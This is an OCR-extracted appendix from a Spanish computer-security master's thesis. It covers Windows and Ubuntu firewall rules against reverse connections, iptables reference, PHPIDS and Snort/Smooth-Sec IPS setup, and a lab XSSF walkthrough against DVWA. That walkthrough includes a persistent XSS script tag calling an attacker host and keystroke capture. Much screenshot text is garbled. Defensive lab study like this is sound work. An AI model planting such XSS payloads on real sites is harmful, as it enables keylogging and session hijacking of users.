@ Aplicacion de compras de la Tienda Aplicacién de compras de la.. 5F Filtrar por grupo b
Asistencia remota (PMRP de salida) Asistencia remota Ver »
U Asistencia remota (PNRP de salida) Asistencia remota - X |
{0 Asistencia remota (SSDP-TCP de salida) Asistencia remota G Actualizar 0
@ Asistencia remota (SSDP-UDP de salida) MAsistencia remota |5 Exportar lista...
Asistencia remota (TCP de salida) Asistencia remota E Ayuda 3
@ Asistencia remota (TCP de salida) Asistencia remota
0 Asistencia remota (TCP de servidor de RA.. Asistencia remota o
Cliente de caché hospedada de BranchC...  BranchCache: cliente de cac... o
Deteccidn del mismo nivel de BranchCac... BranchCache: deteccidn del...
Recuperacion de contenido de BranchCa... BranchCache: recuperacién ... o
Servidor de caché hospedada de Branch... BranchCache: servidor de ca...
@ Caracteristicas de |a familia de Microsoft  Caracteristicas de la familia ...
@ Centro de opiniones Centro de opinicnes
Archivos eimpresoras compartidos (peti.. Compartir archivos e impres..,
Archivos e impresoras compartidos (peti... Compartir archivos e impres.. % i
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B ® e @ 0= @ 0 @ # Crl Derecho

Figura F.1 Configuracion avanzada del firewall de Windows

Windows10 [Corriendo] - Oracle VM VirtualBox P O
Archivo Magquina Ver Entrada Dispositivos Ayuda
e . o Ao ron camridad — = i}
Archi ﬂ Asistente para nueva regla de salida X )
rchivol
4= =) | Tipo de regla
ﬁ Fireu Selecrione el tipo de regla de firewall que desea crear -_ﬁ
i3 A N
=L Pasos: o
e — £Qué tipo de regla desea crear?
"= Rao
=R Pratocolo y puertos 4
@ Accion Regla que cortrola las conexiones de un programa. 4
@ Pedil »
® Puerto
@ Nombre Regla gue controla Ias conexiones de un puerto TCF o UDP 3 A
) Predefinida: 0
Administracién de tafjetas inteligentes vituales TPM
c!
Regla que controla las conexiones de una experiencia con Windows
&
() Personalizada
Regla personalizada. o
0
£

A G T ) g-,rj = Em
B @& @@= @ @ @ @ Crl Derecho

Figura F.2 Configuracion del tipo de regla en el firewall de Windows
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Windows10 [Corriendo] - Oracle VM VirtualBox - x
Archivo Maquina Ver Entrada Dispositivos Ayuda
@ Fir{ @ Asistente para nueva regla de salida
Archivl Protocolo y puertos
o= Especifique los puertos y protocolos a los que se aplica esta regla
ﬂ Fire B fi
Pasos: P
=] ) a
Y| Tpoderega £5e aplica esta regla & TCF o UDP?
[
By Protocol i
I;_;‘ ocolo y puertos ® TCP N
@ Accién ) uDP
@ Pedfil :
@ MNombre X - 4
£5e aplica esta regla a todos los puertos remotos o a unos puertos remotos especfficos? 3
9
(O Todos los puertos remotos 0
(® Puertos remotos especificos: |1D24-55533 F
Ejemplo: 80, 443, 5000-5010 1
2
2
¥
£
< Alras Cancelar

B @& @@= & @ @ @ Ctrl Derecho

Figura F.3 Bloqueo de rango de puertos en el firewall de Windows

Figura F.4 Bloqueo de conexion en el firewall de Windows

Windows10 [Corriendo] - Oracle VM VirtualBox o) (x
Archivo Maguina Ver Entrada Dispositivos Ayuda
9 0 Asistente para nueva regla de salida X
Archivl Accign )
4= =p| Especifique la accion que debe llevarse a cabo cuando una conexidn coincide con las condiciones especificadas en la regla
@ Fird fi
Pasos: s . . = - .- . 3
B {Gué medida debe tomarse si una conexidn coincide con las condiciones especificadas? b
BY|# Tpoderegla
B
M| Protocolo y puertos .
LT () Permitir la conexién »
@ Accidn Esto incluye las conexiones protegidas mediante |Psec y las que no lo estan. )
» Pedil
(O) Permitir la conexién si es sequra »
@ Nombre Esto incluye solamente las conexones autenticadas mediante |Psec. Estas se protegeran
mediante la configuracion de reglas v propiedades de |Psec del nodo Regla de seguridad de 3 "
conexion. i
0
|
4
fl
0
<
< Mras Cancelar
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Con esta configuracion el firewall de Windows no permitira la conexion remota al momento
de ser ejecutado el codigo malicioso de los payloads que hayan infectado el sistema y que
no hayan sido detectados en tiempo real por cualquier Antivirus.

CONFIGURACION DEL FIREWALL DE UBUNTU EN UN ENTORNO GRAFICO

En distribuciones Linux como Ubuntu existen programas como ufw que viene instalado por
defecto, este permite configurar el iptables de una manera mas sencilla a través de su
entorno gréfico gufw y esta disponible en los repositorios.

# Firewall (as superuser)

File Edit Help Donate?

Firewall
Profile: Home ~
Status: [ ToFF) v
Incoming: Deny ~
W
Outgoing: Allow ~
[~} Rules Report Log

Getting started

An uncomplicated way to manage your firewall,
powered by ufw. Easy, simple, nice and useful! ;)

Basic

IF you are a normal user, you will be safe with this
sekting (Status=0n, Incoming=Deny,
Outgoing=Allow). Remember to append allow
rules for your P2P apps:

Figura F.5 Entorno gréfico de ufw

Ubuntu [Corriendo] - Oracle VM VirtualBox —(a

Archivo Méquina Ver Entrada Dispositivos Ayuda
@ Applications Places System 3 ThuJul27,11:39 ) Ty = &
o Firewall (as superuser) Shut down the computer

W File Edit Help Donate? ¥

geovanny s HoMmeSS

Firewall

Profile: Office ¥

0 B ... @)

VBOXADDITIONS_ Incoming: | | Deny ~
5.1.18_114002

Outgoing: | | Allow ~

[} Rules Report

N° Rule Name

g = 8
Incoming policy changed

-1 [geovanny@ub... B [kalilinux] ? Firewall (as sup... [Google -Moxzill... [l A
BOF P EE i @ @@ CtrlDerecho

Figura F.6 Configuracion de la politica general del firewall (gufw)
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En la figura F.6 se ha configurado el tréfico entrante con el valor de “DENY”, esto debido a

gue nadie tendria que tener acceso al ordenador. Se ha establecido también el valor del

trafico saliente en “Allow” para aceptar todas las conexiones salientes y por lo tanto permitir

la navegacion por internet.

Si bien tenemos funcionando el firewall de manera correcta, debemos tomar en cuenta las

conexiones remotas inversas, ya que como dijimos anteriormente un exploit con un payload

ejecutado en un sistema funciona conectandose el ordenador de la victima hacia el puerto

de una maquina atacante. Para mitigar esta situacion entonces es necesario crear una regla

que rechace las conexiones salientes por ciertos puertos. Los puertos a bloquear son los

puertos registrados y dinamicos que van desde el 1024 al 65535 determinados segun su

clasificacién

Archivo

@ Avplica

ystem

ndo] - Oracle VM VirtualBox

ispositivos  Ayuda

da DI
em € Thuul27,12:21 @) tg = &

Preconfigured = Simple | Advanced

Name:
Policy:
Direction:
Protocol;

Port:

conexion inversa
Deny

out

TP

1024:65535

Figura F.7 Creacién de la regla en gufw parta bloquear conexiones inversas

@ (8] Ctrl Derecho

A partir de aqui si se ejecuta cualquier tipo de payload en el sistema no tendremos ningun

tipo de conexién ya que la configuracién del gufw estara bloqueando la misma.

Archivo Maquina Ver Entra
@ Applications Places Syst

Ubuntu [Corriendo] - Oracle VM VirtualBox

da Dispositivos Ayuda

Z) Hinhey Output: 28%

e Firewall (as superuser) -33.00d8

Built-in Audio Analog Stereo|

File Edit Help Donate?

Firewall

VBOXADDITIONS_
5.1.18_114002

kalilinux:

Profile: Office v

states:  (EXN )

Incoming: | Deny

4

@ Rules Report Log

Outgoing: | Allow ~

Ne Rule

1

1024:65535/tcp DENY OUT Anywhere (out)

2 1024:65535/tcp (v6) DENY OUT Anywhere (vE

gp =
Rule(s) added

[geovanny... M [ka

[CarrosBa... & [msfodt(s... [l A
Q& ¢ EEF O @[ Crl Derecho

liinux] @ Firewall a...

Figura F.8 Regla de gufw para bloguear conexiones remotas inversas
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ANEXO G: TABLAS Y CADENAS DEL IPTABLES

Tabla FILTER: Es la tabla por defecto de iptables y se encarga del filtrado de los paquetes
para bloquear o permitir que un paquete siga su camino. Es la tabla por defecto por el
motivo de que todos los paquetes pasan por ella para su inspeccion. Sus cadenas son las

siguientes:

— INPUT: gestiona todos los paquetes que estan destinados a una de las interfaces del
sistema.

— OUTPUT: gestiona todos los paquetes que son generados en el sistema y que su
destino es fuera del mismo. (trafico saliente a través de una interfaz).

— FORWARD: gestiona todos los paquetes que no van dirigidos al sistema pero que

atraviesan por sus interfaces (paquetes recibidos y enrutados).

Tabla NAT: Esta tabla es la responsable de alterar el paquete para generar una conexion
nueva, realiza la reescritura de las direcciones o puertos origen y destino de un paquete. Es
utilizada principalmente para la comunicacién entre redes LAN y redes publicas con IPV4 ya

gue no trabaja con IPV6. Sus cadenas son las siguientes:

— PREROUTING: las modificaciones que se realizan en los paquetes se lo hace antes de
que se determine la ruta en el sistema. Se usa principalmente para publicar servicios
entre redes modificando el destino del paguete (DNAT)

— POSTROUNTING: las modificaciones que se realizan en los paquetes se lo hace una
vez que se ha determinado la ruta del paguete. Se usa principalmente para la
comunicacion entre redes modificando el origen del paquete (SNAT).

— OUTPUT: las modificaciones de los paquetes son realizados en el sistema una vez que
se ha determinado la ruta. Se usa principalmente para generar paquetes que tienen un

destino especifico en redes conectadas (DNAT).

Tabla MANGLE: Esta tabla utliza las cinco cadenas antes vistas para realizar
modificaciones avanzadas en lo paquetes, como es la calidad de servicio o para definir la
ruta en el sistema mediante la marcacion de los mismos. Mediante la modificacién de los
parametros de la cabecera TCP/IP, esta tabla permite integrar componentes del Netfilter

como puede ser las colas de calidad de servicio o el ip route.
Parametros

— -A (—append): agrega una nueva regla al final de la cadena seleccionada.

— -l (-insert): inserta encima del nimero de la regla de la cadena, una nueva regla.
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-D (—delete): elimina una regla de la cadena seleccionada

— -L (~list): lista todas las reglas

—  -F (—flush): borra o limpia las reglas

— -Z (-zero): contadores de bytes de todas las cadenas a cero.
— -N (-new-chain): crea una nueva cadena

— -X (-delete-chain): elimina la cadena especificada

— -P (—policy): configura una politica a la cadena y target dado

— -h (~help): da una descripcion de la sintaxis del comando

Pardmetros de las caracteristicas de comparacion
— -s:IP de origen

— -d: IP de destino

— -irinterfaz de entrada

— -0: interfaz de salida

— -p tcp/udp/icmp: establece el protocolo

— -m state: estado del paquete

— -m limit: limites en el nUmero de paquetes

— --sport: puerto de origen

— --dport: puesto de destino

Parametros de accion

— ACCEPT (aceptar): se acepta el paquete.

— DRORP (descartar): se descarta el paquete.

— QUEUE (encolar): este destino hace que el paguete sea enviado a una cola.
— RETURN (retorno): hace que el paquete en cuestion deje de circular por la cadena.
— REJECT (rechazo): igual que DROP, pero envia un paquete de error a origen.
— LOG (bitacora): este destino genera un log al log del nicleo.

— ULOG: este destino lleva un log multidifusion a través de un socket netlink.

— DNAT: el destino del paquete sea reescrito.

— SNAT: el origen del paquete sea reescrito para traduccién de direccion de red.
— MASQUERADE: parecido a SNAT basado en IP de origen e interfaz.

Opciones adicionales
Como opciones adicionales que se encuentran disponibles a través de mdédulos que se
cargan cuando iptables los necesite y que no estan especificadas para ningun protocolo
tenemos las siguientes:

— NEW: el paquete relacionado esta creando una conexién nueva o es parte de una conexion de

dos vias que antes no habia sido establecida.

Técnica de ataque y explotacion al servidor de la DMZ y equipos de la red interna (LAN) 122



Luis Geovanny Cabrera Vazquez Maestria en Seguridad Informatica

— ESTABLISHED: el paquete se asocia con otros en una conexién ya establecida.

— RELATED: el paquete seleccionado inicia una nueva conexion en alguna parte de la conexion
existente.

— INVALID: el paquete seleccionado no forma parte de una asociacidon con una conexién conocida.
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ANEXO H: CONFIGURACION DEL FRAMEWORK XSSF

XSSF es un framework que permite realizar la administracion de ataques XSS genéricos
realizando conexiones reversas con las victimas por medio de un cédigo JavaScript (loop) a
intervalos de tiempo definidos.

El objetivo de XSSF es poder ejecutar exploits contra las victimas ya que se puede
integrarlo junto con Metasploit, para ello se necesita primeramente identificar una aplicacién
vulnerable a ataques XSS. El proyecto DVWA que se encuentra en metasploitable2 es la
aplicacion que se ajusta perfectamente para realizar este tipo de ataques ya que contiene
una serie de vulnerabilidades para realizar pruebas de seguridad.

El comando “load xssf” permite cargarlo dentro del Metasploit

ersion before using XSSF!

ee useful XSSE URL

ot:gns3 | root : bash

Figura H.1 Carga del framework XSSF dentro del Metasploit

Una vez cargado el plugin se iniciara el servidor y mediante el comando “xssf_urls” podemos
observar su ruta, la URL de registros y la genérica que es la que se utilizara para la

inyeccion a la aplicacion DVWA.

ee useful

Figura H.2 URLs del framework XSSF
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— XSSF Server: ruta del servidor

— Generic XSS injection: URL para utilizarla en la inyeccién

— XSSF test page: URL para realizar un test de funcionamiento
— XSSF logs page: URL para revisar los registros

— XSSF statistics page: URL para revisar las estadisticas

— XSSF help page: URL para obtener ayuda

Antes de proceder a realizar la inyeccién a la aplicacion DVWA debemos configurar su nivel

de seguridad a “low”

Home | DVWA Secu I'ity L
Instructions |
Setup | Scrlpt Security

Security Level is currently low.
Brute Force

‘fou can set the security level to low, mecium or high.
Command Execution

The security level changes the vulnerability level of DVWA.

CSRF
File Inclusion low ¥ || Submit
SQL Injection (Blind) PHPIDS

Upload
p w.0.6 (PHP-Intrusion Detection System) is a security la

XSS reflected

|
|
|
|
SQL Injection |
|
|
I ‘fou can enable PHFIDS across this site for the duration of your

XSS stored

PHFIDS is currently disabled. [ 1
| | [ 1-0 ]

AN e |

Figura H.3. Configuracion del nivel de seguridad de DVWA

Copiamos la URL del parametro “Generic XSS injection” para insertarla dentro de la

aplicacion DVWA. El cédigo con la URL seria el siguiente

<script src="http://192.168.159.137:8888/loop?interval=5"></script>

Vulnerability: Stored Cross Site Sc

XSS reflected

Home |
Instructions |
= | Mame * K55
etup
|<script src="http /192 168.159.137 :8888/Ioop?inte
Message *

Brute Force |
Command Execution | Sign Guesthook
CSRF |
File Inclusion |
SQL Injection | Mame: test

[l ge: This is a test comment.
SQL Injection (Blind) |

Mame: X55
Upload | W I:fa

Figura H.4. XSS persistente en la aplicacion DVWA
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A partir de aqui cada vez que un usuario acceda a esta seccion de la aplicacion se ejecutara
el cédigo JavaScript que hace la conexion reversa a XSSF. Para poder ver las conexiones
abrimos la URL del parametro “XSSF logs page”.

XSSF Logs x |+

€ localhost w e
{5 Most Visited v JllOffensive Security e Kali Linux " Kali Docs " Kali Tools EBExploit-DB W Aircrack-ng

Victim 5 attacks Attack log 6

Received result:

KEY LOG : luis geovanny

Figura H.5. Pantalla de registros de ataques XSS persistente en la aplicacion DVWA

Con el comando search “auxiliary/xssf” dentro de Metasploit podemos listar todos los
auxiliares del XSSF que podrian ser utilizados contra las victimas. En la figura G5 se puede
observar que se ha ejecutado el auxiliar “auxiliary/xssf/public/misc/logkeys” para capturar las

entradas de teclado de una victima.
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ANEXO I: CONFIGURACION DEL PHPIDS

PHPIDS es un software IDS que esta creado para las aplicaciones PHP. Este no necesita
cargar modulos dentro de Apache como lo hace modSecurity. Funciona verificando el
contenido de las peticiones que pasan por el mismo en busca de patrones mediante reglas
establecidas

Para poder configurar este software se necesita primeramente descargarse en una carpeta

llamada “phpids” y descomprimirla en la ruta que se especifique (por ejemplo /var/www).

Accediendo al archivo de configuracion “/lib/IDS/Config/Config.ini.php”. Se debe realizar la

siguiente configuracion:

— Enlalinea 13 debemos colar la ruta absoluta que se encuentra dentro de la carpeta “lib”
base_path = /full/path/to/IDS/

— En lalinea 48 se configura el archivo plano donde se guardaran las entradas de los log
registrados por peticiones que el PHPIDS ha identificado como maliciosa.
path = tmp/phpids_log.txt

— En las lineas del 62 al 67 se debe configurar la base de datos de MySQL. Se debe
configurar el nombre de la base de datos, la tabla a utilizar y también el usuario y
contrasefa con permisos para poder acceder a la base de datos.

; database logging

wrapper = "mysql:host=localhost;port=3306;dbname=phpids"
user = root

password = root

table = intrusions

— En las lineas del 50 al 60 se puede configurar notificaciones mediante email dirigido al
administrador de la aplicacion
; email logging
; hote that enabling safemode you can prevent spam attempts,
; see documentation

recipients[ ] = admin@dominio.com

subject = "PHPIDS detected an intrusion attempt!"

header = "From: info@phpids.org"

envelope =
safemode = true
urlencode = true

allowed_rate = 15
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ANEXO J: CONFIGURACION DEL SMOOTH-SEC IDS/IPS

Para la configuracion del IDS se utilizé la distribucibn Smooth-Sec, que es un sistema que
puede trabajar con el motor de suricata o Snort, también incorpora la interfaz Web de
Snorby, en donde se puede administrar las alertas generadas por el sistema. Esta
distribucién esta basada en Ubuntu 10.04 LTS que viene totalmente configurada para ser
utilizada

Smooth-Sec puede funcionar tanto como un IDS e IPS, captura el trafico de la red y
compara patrones de ataque mediante las reglas de sus motores. Para este trabajo se utilizo
el motor Snort en su version 2.9.5.3 que es la versién que incorpora Smooth-Sec, y se
instal6 en modo en linea para que actue como un IPS, monitoreando la actividad de la red

interna a través de sus interfaces.

Snorby es un front-end web encargado de la gestion de las alertas generadas por los
sensores y que opera con los motores de Snort y suricata, su administracién es sencilla

mediante su interfaz grafica, permitiendo visualizar las alertas de manera rapida.
INSTALACION DE SMOOTH-SEC

El proceso de instalacion es de forma guiada de manera grafica, la obtencion de la “.iso” lo

podemos conseguir en la siguiente direccién: https://sourceforge.net/projects/smoothsec/

Una vez instalado el sistema procedemos a configurarlo para que opere como un IPS. A

continuacién se explica el proceso de configuracion:

— Con el comando “$ésmooth-sec.first.setup”, empezamos el proceso de configuracion

Smooth-Sec [Corriendo] - Oracle VM VirtualBox

ivos Ayuda

Archivo Maquina Ver Entrada Disposi

Helcome to Smooths

Distributed [Only

ips-sensor (IPS mode Distributed [Only s

(If unsure.)
Tupe here your favourite deployment : [ips-standard.

Be& @ EEiE 0 @ ® CilDerecho

Figura J.1 Pantalla de configuracién del Smooth-Sec
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— Cambio de contrasefia del usuario root y la creacidon de un nuevo usuario para Smooth-

Sec

Archivo Maquina Ver Entrada Dispositivos Ayuda

HLLHHED )

& strong ong!

A good rd will contain

d B A& Mm@ [ @ @ Cil Derecho

Figura J.2 Pantalla de configuracién del usuario root en Smooth-Sec

— Configuracion de la direccion IP de la consola, sensor y la IP de la red a monitorear

B R R R R R R A R A A R R R R R A
# vou MAY MEED TO CHAMGE THIS WALUE HWHEM SETTIMG UP SEMZOR #
############################################################
Iﬂﬂrmdllu. C ' iz egual to 5 3
SOLE_USER when nec

\ SER
##############################################################
# vOU MAY MEED TO CHAWGE THESE SETTIMGS WHEM Y0OU ARE SETTIMG U
##############################################################

NF _SEME is suaglly is same as AF_MAMAGE_IFACE IF ad

2d

Figura J.3 Pantalla de configuracién de la IP (consola, sensor, red) en Smooth-Sec

— Configuracion del usuario (correo) y contrasefia para Snorby

Snorby setup. .
Snorby Username [(your_name@y4our_email.com) and P rd creation.
Flease enter your email address: geowval3870@8hotmail.com

se confirm your email addre ' nakotmall.com

- oyour de C sVl War o se g strong one!ll:

confirm your

._ = =P & i = @R {0 & (] Cirl Derecho

Figura J.4 Pantalla de configuracion de la cuenta de Snorby en Smooth-Sec
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CONFIGURACION DE LAS INTERFACES DE RED

Para que Smooth-Sec pueda funcionar como un IPS debe estar instalado en modo linea, es
decir que debe contar con tres interfaces, una que estard conectada hacia el exterior, otra
conectada hacia la red interna y la ultima para administracion. Para ello debemos configurar
las interfaces ethO y ethl en modo bridge con los siguientes comandos:

—  $brctl addbr br0

—  $brctl addif br0 eth0

—  $brctl addif br0 eth1

—  $ifconfig br0 192.168.2.126 netmask 255.255.255.0 up

Con el comando “$brctl show” podemos ver si el puente esta correctamente configurado

STP enabled

@@@ﬁlﬁ@_@@@@ Ctrl Derecho

Figura J.5 Configuracion de las interfaces en modo bridge
CONFIGURACION DEL ARCHIVO SNORT.CONF (/etc/snort/snort.conf)

Dentro del archivo snort.conf procedemos a configurar la direccion de la red a monitorear, de
esta forma somos mas especificos de lo que se esta monitoreando. A continuacion en la

figura siguiente podemos apreciar los valores de los pardmetros.

Archivo Maquina Ver Entrada Dispositivos Ayuda

GNU nano 1.3.12 File: ~setcssnortssnort.conf Modif ied

it by separating the IPs with commas like this:
It var HOME_NET [18.1.1.8-24,192.168.1.8-241
it MAKE SURE YOU DON'T PLACE ANY SPACES IN YOUR LIST?

it or you can specify the variable to be any IP address
t like this:

ar HOME_NET 192.168.2.8-24

It Set up the external network addresses as well. A good start may be “any”
ar EXTERNAL_NET tSHOME_NET

ar DNS_SERUERS SHOME_NET

it List of SMTP servers on your network

ar SMTP_SERVERS S$SHOME_NET

it List of webh servers on your network

ar HTTP_SERVERS SHOME_NET

it List of sql servers on your network
ar SOL_SERUVERS SHOME_NET

[ Get Help @] WriteOut §I Read File Y Prev Page i Cut Text @8 Cur Pos
B Exit fil Justify ! Where Is ! Next Page il UnCut Textggl To Spell

@ & @ = @ @ 9 3 Ctrl Derecho

Figura J.6 Pantalla de configuracion del snort.conf
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Como se puede ver en la figura J.6, en el pardmetro “var HOME_NET 192.168.2.0/24”
estamos especificando la direccion de subred a monitorear, y en el parametro “var
HTTP_SERVERS podriamos especificar cualquier direccion IP, por ejemplo en el caso de
tener un servidor interno. Para que los cambios se realicen en este archivo reiniciamos el

Snort con el comando:

$sudo /etc/init.d/snort restart

Windows10 [Corriendo] - Oracle VM VirtualBox - o x
Archivo Maquina Ver Entrada Dispositivos Ayuda

B3 snorby - Dashboard = 4 - -
<& O &) Error de certificado  192.168.2.128 3¢ = Z £ [cemr
‘Welcome Administrator | 5
Snorbg ! threat stack
Dashboard My Queue (0} Events Sensors Search
Dashboard
LAST 24 TODAY YESTERDAY THISWEEK THIS MONTH THIS QUARTER THIS YEAR TOF 5 SENSOR
HIGH SEVERITY MEDIUM SEVERITY LOW SEVERITY
I m al
"""""""""""" - e LAST 5 UNIQUE EVENTS
GPL SCAN same SRG/DST
Sensors
Event Count vs Time By Sensor -8 Snort 192.168.2.128
50 -+ Sagan 192.168.2.128

Figura J.7 Pantalla del Snorby

BLOQUEAR CONEXIONES REMOTAS INVERSAS

Para bloquear las conexiones remotas inversas realizadas por parte de los payloads que se
han utilizado en este trabajo, primeramente se deben identificar las reglas que generan las
alertas de la conexion. El Snorby por medio de su interfaz grafica nos permite identificar las
reglas para poder modificar sus parametros en el archivo “/etc/snort/et/snort.rules”, que es el

gue contiene dicha reglas.

Como el Smooth-Sec esta operando en modo IPS (modo en linea), si modificamos la accion
de la alerta lograremos bloquear (drop) las conexiones inversas. Las acciones que podemos

realizar en una alerta son las siguientes:
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— alert: genera una alerta.

— drop: descarta el paquete

— log: archiva el log del paquete

— pass:ignora el paquete

— activate: activa la alerta y llama a una regla dindmica

— dynamic: cuando es llamada por una regla activate se pone en funcionamiento

A continuacion en la siguiente figura se muestra las reglas que seran modificadas

Rule Information

Signature: ET POLICY PE EXE or DLL Windows file download

alert tcp $EXTERNAL HET any -> $HOME NET any [(msg:"ET POLICY PE EXE or DLL Windows
file download™; flow tablished, © ent; content:"MZI™;

byte_jump:4,58,relat l:|.1:t'l|=_-, n:n.-n';un" "PE|OQDQ Q0|™; dis 1:=|:1|"E -64; within:-4;
flowbi

Ho ﬂ_lff_=n=_-" 'E' ...h»-lll:r“de H l:l
fast pattern nl  reference: u_rl
detection—of

sid:2012086;

alert ip SEEXTERMAL NET 5SHE
ine ebx HOOD"; content:"CCCO
g2id:-2101350; rev:8; metadata

Figura J.8 Reglas del Snort para detectar conexiones remotas inversas

Si modificamos las accion de la cabecera de las reglas sustituyendo alert por drop,
lograriamos descartar los paquetes al momento que se intente realizar las conexiones
remotas inversas, por lo tanto se estaria bloqueando la conexion y actuando el sistema

como un IPS.
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